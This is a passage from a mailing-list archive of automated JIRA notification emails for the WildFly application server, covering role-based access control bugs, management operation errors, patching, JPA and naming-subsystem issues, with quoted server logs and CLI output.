> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:35:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 08:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35203.1379594103452@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2089:
-----------------------------------

             Assignee: Brian Stansberry  (was: Heiko Braun)
        Fix Version/s: 8.0.0.Beta1
    Affects Version/s: 8.0.0.Alpha4


Assigning back to myself now that I can reproduce it.
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:35:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 08:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2003) Failed handling operation
	rollback -- null
In-Reply-To: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500017.1378366299000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500017.1378366299000.35212.1379594103854@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2003?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2003:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> Failed handling operation rollback -- null
> ------------------------------------------
>
>                 Key: WFLY-2003
>                 URL: https://issues.jboss.org/browse/WFLY-2003
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> Not sure what's causing these, but when operating the web console in domain mode I see planty of these on the console: 
> {noformat}
> [Host Controller] 09:29:23,565 ERROR [org.jboss.as.controller.client] (XNIO-1 task-1) JBAS014781: Step handler org.jboss.as.domain.controller.operations.coordination.DomainFinalResultHandler at 59f61bf9 for operation composite at address [] failed handling operation rollback -- null
> {noformat}
> The strange thing is that the management operations return successfully.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:41:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 08:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1895) Provide a "default" role for
 users with no other role specified
In-Reply-To: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498830.1376775776000.35216.1379594463528@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1895?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805783#comment-12805783 ] 

Brian Stansberry commented on WFLY-1895:
----------------------------------------

WFLY-2037 adds the 403 response code when the request is unauthorized. WLFY-2068 adds the "include-all" notion, which is the mechanism we will use for providing a kind of default role.

What I see left for this issue is just the case where no security realm is configured on the management interfaces; making sure that is handled cleanly. 
                
> Provide a "default" role for users with no other role specified
> ---------------------------------------------------------------
>
>                 Key: WFLY-1895
>                 URL: https://issues.jboss.org/browse/WFLY-1895
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> Currently it seems that when using RBAC provider users with no defined role are unable to read domain model at all.  Consequently logging into Admin Console leads to 500 error page. Similar errors in CLI. 
> In relation to this, it should be considered what is the expected behavior of unsecured management interface. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:49:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 08:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.35233.1379594943747@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1821:
------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Task)

    
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:49:04 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 19 Sep 2013 08:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1844) deep-copy-subject-mode
 attribute on Security Subsystem is Readable to all roles
In-Reply-To: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498154.1375879398000.35238.1379594944068@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1844?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan closed WFLY-1844.
----------------------------


    
> deep-copy-subject-mode attribute on Security Subsystem is Readable to all roles
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-1844
>                 URL: https://issues.jboss.org/browse/WFLY-1844
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> According to this spreadsheet [1] deep-copy-subject-mode attribute should be available only to Administrator role, instead it is Readable for everyone 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "identity" => {
>             "username" => "monitor",
>             "realm" => "ManagementRealm"
>         },
>         "roles" => ["Monitor"]
>     }
> }
> [standalone at localhost:9990 /] /subsystem=security:read-attribute(name=deep-copy-subject-mode)
> {
>     "outcome" => "success",
>     "result" => false
> }
> {code}
> [1] https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:49:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 08:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1575) jboss-cli.sh allows creation
 of an invalid jsse element within a security-domain
In-Reply-To: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494891.1371830740000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494891.1371830740000.35242.1379594944245@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1575?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805786#comment-12805786 ] 

RH Bugzilla Integration commented on WFLY-1575:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 977417|https://bugzilla.redhat.com/show_bug.cgi?id=977417] from POST to MODIFIED
                
> jboss-cli.sh allows creation of an invalid jsse element within a security-domain
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1575
>                 URL: https://issues.jboss.org/browse/WFLY-1575
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> The jboss-cli.sh allows me to add a security-domain definition which is not valid. Apparently you *must* have a keystore-password or truststore-password, but this restriction is not enforced in the cli. 
> I do not have too deep an understanding of how the cli decides that a given attribute is required, but I have seen cases where the cli will warn me if I try to do something without all required attributes. Something similar should probably be done here.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 08:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 08:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1821) Update to web console
	2.0.0.Final
In-Reply-To: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497938.1375694061000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497938.1375694061000.35246.1379595183532@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1821?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1821:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1003533

    
> Update to web console 2.0.0.Final
> ---------------------------------
>
>                 Key: WFLY-1821
>                 URL: https://issues.jboss.org/browse/WFLY-1821
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web Console
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Blocker
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 09:02:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 19 Sep 2013 09:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2001) JPA getNewTempClassLoader
 should support getPackage(String name)
In-Reply-To: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499967.1378309389000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499967.1378309389000.35268.1379595724192@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2001?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805791#comment-12805791 ] 

Scott Marlow commented on WFLY-2001:
------------------------------------

also reported via https://bugzilla.redhat.com/show_bug.cgi?id=997928
                
> JPA getNewTempClassLoader should support getPackage(String name)
> ----------------------------------------------------------------
>
>                 Key: WFLY-2001
>                 URL: https://issues.jboss.org/browse/WFLY-2001
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 09:22:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 09:22:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-405) Patching system
In-Reply-To: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12414447.1279060149000.35309.1379596924488@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-405?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805795#comment-12805795 ] 

RH Bugzilla Integration commented on WFLY-405:
----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 999652|https://bugzilla.redhat.com/show_bug.cgi?id=999652] from ON_QA to VERIFIED
                
> Patching system
> ---------------
>
>                 Key: WFLY-405
>                 URL: https://issues.jboss.org/browse/WFLY-405
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Patching
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>            Priority: Blocker
>              Labels: rhq
>             Fix For: 8.0.0.Beta1
>
>
> "Server" side of the patching system. Server not in the sense of the domain model Server, but rather client-server where the client is whatever tool (JON) determines there are patches available and asks the server to apply them.
> This does not need to implemented until M2 but thinking about it during the design of the InstalledImage is good.
> Links to the current wiki articles:
> https://community.jboss.org/wiki/LayeredDistributionsAndModulePathOrganization
> https://community.jboss.org/wiki/SingleInstallationPatching
> https://community.jboss.org/wiki/ExperimentingWithSingleInstallationPatching

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 09:22:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 09:22:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-405) Patching system
In-Reply-To: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12414447.1279060149000.35323.1379596925427@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-405?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805796#comment-12805796 ] 

RH Bugzilla Integration commented on WFLY-405:
----------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 999652|https://bugzilla.redhat.com/show_bug.cgi?id=999652]

Included in ER1. There are still things to resolve, but generally it is ready. Bugs on patching are filed under the 'Patching' component. Setting to verified.
                
> Patching system
> ---------------
>
>                 Key: WFLY-405
>                 URL: https://issues.jboss.org/browse/WFLY-405
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Patching
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>            Priority: Blocker
>              Labels: rhq
>             Fix For: 8.0.0.Beta1
>
>
> "Server" side of the patching system. Server not in the sense of the domain model Server, but rather client-server where the client is whatever tool (JON) determines there are patches available and asks the server to apply them.
> This does not need to implemented until M2 but thinking about it during the design of the InstalledImage is good.
> Links to the current wiki articles:
> https://community.jboss.org/wiki/LayeredDistributionsAndModulePathOrganization
> https://community.jboss.org/wiki/SingleInstallationPatching
> https://community.jboss.org/wiki/ExperimentingWithSingleInstallationPatching

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 09:44:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 19 Sep 2013 09:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2112) Test that validate-address
 and validate-operation do not leak non-addressable addresses
In-Reply-To: <JIRA.12501018.1379598157444@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501018.1379598157444@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501018.1379598157444.35385.1379598243983@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created WFLY-2112:
--------------------------------

             Summary: Test that validate-address and validate-operation do not leak non-addressable addresses
                 Key: WFLY-2112
                 URL: https://issues.jboss.org/browse/WFLY-2112
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Kabir Khan
            Assignee: Ladislav Thon
             Fix For: 8.0.0.Beta1


basically those operations check that an address is valid, or that an operation is valid
14:18
the operation has an address
14:18
So you do :validate-address(value="/some=where")
14:18
I made up the syntax for the value thing, it needs a ModelNode
14:19 bstans_afk
Ladicek: the CLI uses that behind the scenes
14:19 kkhan
So the way it worked until now is that if the address is valid, it returns that it is valid
14:19
and if it is not valid it returns that it is not valid
14:20 Ladicek
wow, never heard of that 
14:20 kkhan
however, if /some=where is not addressable for the current user, we want to return that it is invalid
14:20 Ladicek
souns sensible to me
14:20 kkhan
i.e. to hide the non-addressable addresses

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:00:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Thu, 19 Sep 2013 10:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096341@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096341@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096341.35445.1379599203919@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-2113:
-------------------------------------

             Summary: NamingBindingResourceDefinition attribute validation
                 Key: WFLY-2113
                 URL: https://issues.jboss.org/browse/WFLY-2113
             Project: WildFly
          Issue Type: Feature Request
          Components: Naming
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:00:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 10:00:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.35452.1379599204427@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2113:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1006206

    
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:02:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 19 Sep 2013 10:02:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-409) JPA should allow for a bean
 validator factory per persistence unit or per application deployment
In-Reply-To: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463718.1334159992000.35461.1379599324222@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-409?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805821#comment-12805821 ] 

Scott Marlow commented on WFLY-409:
-----------------------------------

Even though WFLY-1705 isn't yet done, I anticipate that it will be and WFLY-409 will not be needed.  I'm going to close this jira as out of date.  We can reopen it in the future if we decide otherwise.
                
> JPA should allow for a bean validator factory per persistence unit or per application deployment
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-409
>                 URL: https://issues.jboss.org/browse/WFLY-409
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>              Labels: open_to_community
>             Fix For: 8.0.0.Beta1
>
>
> Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).
> This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).
> The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  
> Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:04:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 19 Sep 2013 10:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-409) JPA should allow for a bean
 validator factory per persistence unit or per application deployment
In-Reply-To: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463718.1334159992000.35466.1379599443625@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-409?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow resolved WFLY-409.
-------------------------------

    Resolution: Won't Fix

    
> JPA should allow for a bean validator factory per persistence unit or per application deployment
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-409
>                 URL: https://issues.jboss.org/browse/WFLY-409
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>              Labels: open_to_community
>             Fix For: 8.0.0.Beta1
>
>
> Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).
> This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).
> The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  
> Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:04:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 19 Sep 2013 10:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-409) JPA should allow for a bean
 validator factory per persistence unit or per application deployment
In-Reply-To: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463718.1334159992000.35472.1379599443921@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-409?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805821#comment-12805821 ] 

Scott Marlow edited comment on WFLY-409 at 9/19/13 10:02 AM:
-------------------------------------------------------------

Even though WFLY-1705 isn't yet done, I anticipate that it will be and WFLY-409 will not be needed.  I'm going to close this jira.  We can reopen it in the future if we decide otherwise.
                
      was (Author: smarlow):
    Even though WFLY-1705 isn't yet done, I anticipate that it will be and WFLY-409 will not be needed.  I'm going to close this jira as out of date.  We can reopen it in the future if we decide otherwise.
                  
> JPA should allow for a bean validator factory per persistence unit or per application deployment
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-409
>                 URL: https://issues.jboss.org/browse/WFLY-409
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>              Labels: open_to_community
>             Fix For: 8.0.0.Beta1
>
>
> Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).
